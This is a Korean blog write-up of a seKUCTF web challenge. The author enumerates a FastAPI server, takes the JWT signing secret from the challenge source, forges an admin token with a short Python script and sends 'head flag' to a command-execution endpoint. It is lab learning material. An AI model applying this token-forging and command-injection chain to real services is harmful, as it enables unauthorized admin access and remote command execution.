시작하기 앞서 ) 시작하기 전에 docker에 ctf 서버를 설치 후 시작해야 했으나, 실패하여 원인을 찾아보니 make.bat의 디렉토리가 NewAPI가 아닌 fastAPI로 되어있는것을 확인하여 설정 후 설치해 주었다. (파일명만 바꾸어 실행해도 가능할 것으로 추측된다.
1. 힌트 찾기
먼저 문제 서버에 접속해준다 접속해서 보니
{"msg":"Hello stranger!! This is CTF Master Moon. Good Luck!","id":"guest","pw":"guest"}
간단하게 이렇게 나와있는것을 분석해보녀 id와 pw에 대한 인자값을 넣어 요청을 보내면 될 것 같아보여 주소창에서 시도했는데 되지 않았다
그래서 피들러를 확인하여 해당 홈페이지를 접속할때의 패킷을 인스펙터 - 로우로 확인해보니
헤더부분에 다음과 같이 적혀있었다.
HTTP/1.1 200 OK
date: Wed, 15 Mar 2023 06:12:48 GMT
server: uvicorn
content-length: 88
content-type: application/json
위를 자세히 살펴보면 서버가 uvicorn으로 이루어져 있는것이 보여 uvicorn이 뭔지 검색해 보았는데
unvicorn으로 웹서버로 만들때 쓰이는 파이썬 api로 성능이 좋다고 하여 같이 쓰이는 듯 하다
밑의 그림은 fast api와 uvicorn이 어떤식으로 작동하는지 알아보기 위해 삽입한 그림이다.
더 자세히 알고싶다면 밑의 사이트를 방문하길 바란다
[Backend]FastAPI 입문 1 : Uvicorn 이해하기, 간단한 웹 서버 구현
python web frameworkAPI를 만들 수 있고, python 3.6 버전 이상에서 적용 가능함데이터 타입을 엔드포인트로 명시하지 않아도 된다(알아서 알맞게 바꾸어 준다)Uvicorn ASGI Server 를 사용한다Asynchronous Server G
velog.io
그럼 FastAPI의 취약점이나 파이썬 명령어 등을 이용하면 디렉토리 리스닝이나 명령어 실행이 가능하지 않을까 싶어 FastAPI에 대해 알아보았다.
https://fastapi.tiangolo.com/ko/tutorial/first-steps/
첫걸음 - FastAPI
첫걸음 가장 단순한 FastAPI 파일은 다음과 같이 보일 겁니다: from fastapi import FastAPI app = FastAPI() @app.get("/") async def root(): return {"message": "Hello World"} 위를 main.py에 복사합니다. 라이브 서버를 실행합
fastapi.tiangolo.com
다음 공식 FastAPI 홈페이지에 가서 알아보니 대화형 api 문서 /docs 와 대안형 api 문서 /redoc 이 있는것으로 확인되었다.
한번 시도해보기 위해 docs와 redoc 을 넣어봤다.
넣어본 결과 docs는
{"msg":"you have no Permission!!"}
권한이 없다며 쫒겨냈고
redoc은 다음과 같은 사이트를 보여줬다
이 페이지를 자세히 살펴보니, 우리가 처음 맞이했던 / 페이지와 아까 접근이 거부된 /docs 페이지 그리고 우리가 로그인 시도를 해야하는 /loginAciton 페이지까지 보인다.
먼저 /loginAction에 접속해보자
{"detail":"Method Not Allowed"}
아까 docs와 다르게 접근이 아예 거부 된 것이 아니라 입력인자가 들어가지 않아 오류가 난것으로 추측되어
피들러를 이용하여, 위에 적혀있는것 처럼 post 방식으로 리퀘스트를 보내보기로 했다
아까 / 페이지에서 봤던 id guest pw guest 를 넣어 로그인이 되는지 확인해 보기로 하였다.
다음과 같이 로그인에 성공하였다!!
저기 적혀있는것을 모두 복사하자면,
HTTP/1.1 200 OK
date: Wed, 15 Mar 2023 06:37:14 GMT
server: uvicorn
content-length: 219
content-type: application/json
{"user_id":"guest","password":"guest","success":true,"msg":"welcome guest! This is our new service!","Token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiZ3Vlc3QifQ.JFXLkhEJI6cwZYsIDW6smJjJ5qg18x4GeiFmH7mzVIM"}
id는 guest로 pw도 guest로 성공적으로 로그인이 된것을 확인 할 수 있으며, 추가적으로 토큰이 나와서 저게 무엇을 할떄 사용되는 토큰인가 알아보기 위해 base64로 디코딩을 해보았다.
cyberchef에서 토큰을 넣어 복호화를 해봤다. 저 형태에 대해 검색해보니 jwt 형태의 토큰임을 알 수 있게되었다.
다음에서 보는 것과 같이 앞에는 해더부분으로 어떤방식으로 암호화 되고, 어떤 형태의 토큰인지 그리고 페이로드에는 이 토큰의 용자를 식별하고 정보를 담고 있는 부분, 그리고 마지막으로 베리파이 시그니쳐는 이 토큰의 유효성을 결정하는 문장같다.
그래서 간단하게 토큰으로 로그인을 시도하기 위해 아까 봤던
cmd를 인자값으로 받는 여기에 userid 부분을 admind으로 바꿔 시도해 보았다
그러나 토큰이 유효하지 않는지 실행되지 않았다.
그래서 이미 있는 jwt 토큰을 분석하여 키값을 알아낸 다음 admin에 맞게 다시 토큰을 인코딩하면 되지 않을까? 라고 생각해서 ubuntu로 jwtcat을 이용해 분석해보기로 했다.
그러나 키값이 난독화가 잘 되어있는지 생각보다 찾기가 힘든것으로 보여 그냥 포기하고 도커에서 파이썬 파일을 분석하여 키값을 알아내기로 하였다... (차후에 burute-force로 찾아내면 바로 그것으로 시도해 볼 것)
혹시나 해서 봤더니 역시나 엄청 길었다...
SECRET = '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'
확실히 jmt를 우회해서 하라는것으로 추정되는데... 방법을 모르겠다 계속 찾아볼 예정
아무튼 알아낸 키로 admin의 토큰을 알아내기 위해 다음과 같은 간단한 파이썬 파일을 작성해 보았다.
import jwt
SECRET = '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'
payload = {"user_id": "admin"}
token = jwt.encode(payload, SECRET, algorithm="HS256")
print(token)
(사실 너무간단해서 아무것도 없는)
이렇게 admin의 토큰값을 알아내었다.
계속해서 아까 cmd 명령어를 인자값으로 받는 페이지에 post값으로 리퀘스트를 보내보았다.
작성자는 dir를 이용하여, 목록이 어떻게 되는지 알아보았다
반환값으로 다음과같이
"__pycache__ docker-entrypoint.sh flag main.py require\n" 파일이 있는것으로 확인이 되고있다.
flag 파일이 있는것으로 보아 flag 파일을 열면 flag가 있을것으로 파악이 되어 flag 열기위 해 cmd에 "head flag"를 넣어주었다.
다음과같이 플래그가 나타나게 되는것을 볼 수 있다.
HTTP/1.1 200 OK
date: Wed, 15 Mar 2023 07:27:28 GMT
server: uvicorn
content-length: 35
content-type: application/json
"seKUCTF{H3!L0_@dm1n_!Ts_M3_MARIo}"
플래그 : seKUCTF{H3!L0_@dm1n_!Ts_M3_MARIo}
'seKUCTF' 카테고리의 다른 글
[seKUCTF] forcelogin1 (0) | 2023.04.09 |
---|---|
[seKUCTF] forcelogin 2 (1) | 2023.04.09 |
[seKUCTF] Ping! (0) | 2023.03.22 |
linux 와일드카드란? (0) | 2023.03.21 |
OS Injection 이란? (0) | 2023.03.21 |